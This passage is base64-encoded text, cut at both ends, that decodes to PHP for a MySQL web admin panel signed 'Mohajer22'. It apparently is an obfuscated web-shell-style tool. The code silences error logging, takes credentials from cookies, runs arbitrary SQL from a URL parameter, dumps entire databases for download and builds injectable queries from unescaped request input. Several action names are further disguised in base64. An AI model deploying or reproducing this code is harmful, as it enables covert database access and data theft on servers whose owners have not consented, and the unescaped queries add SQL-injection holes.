NlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb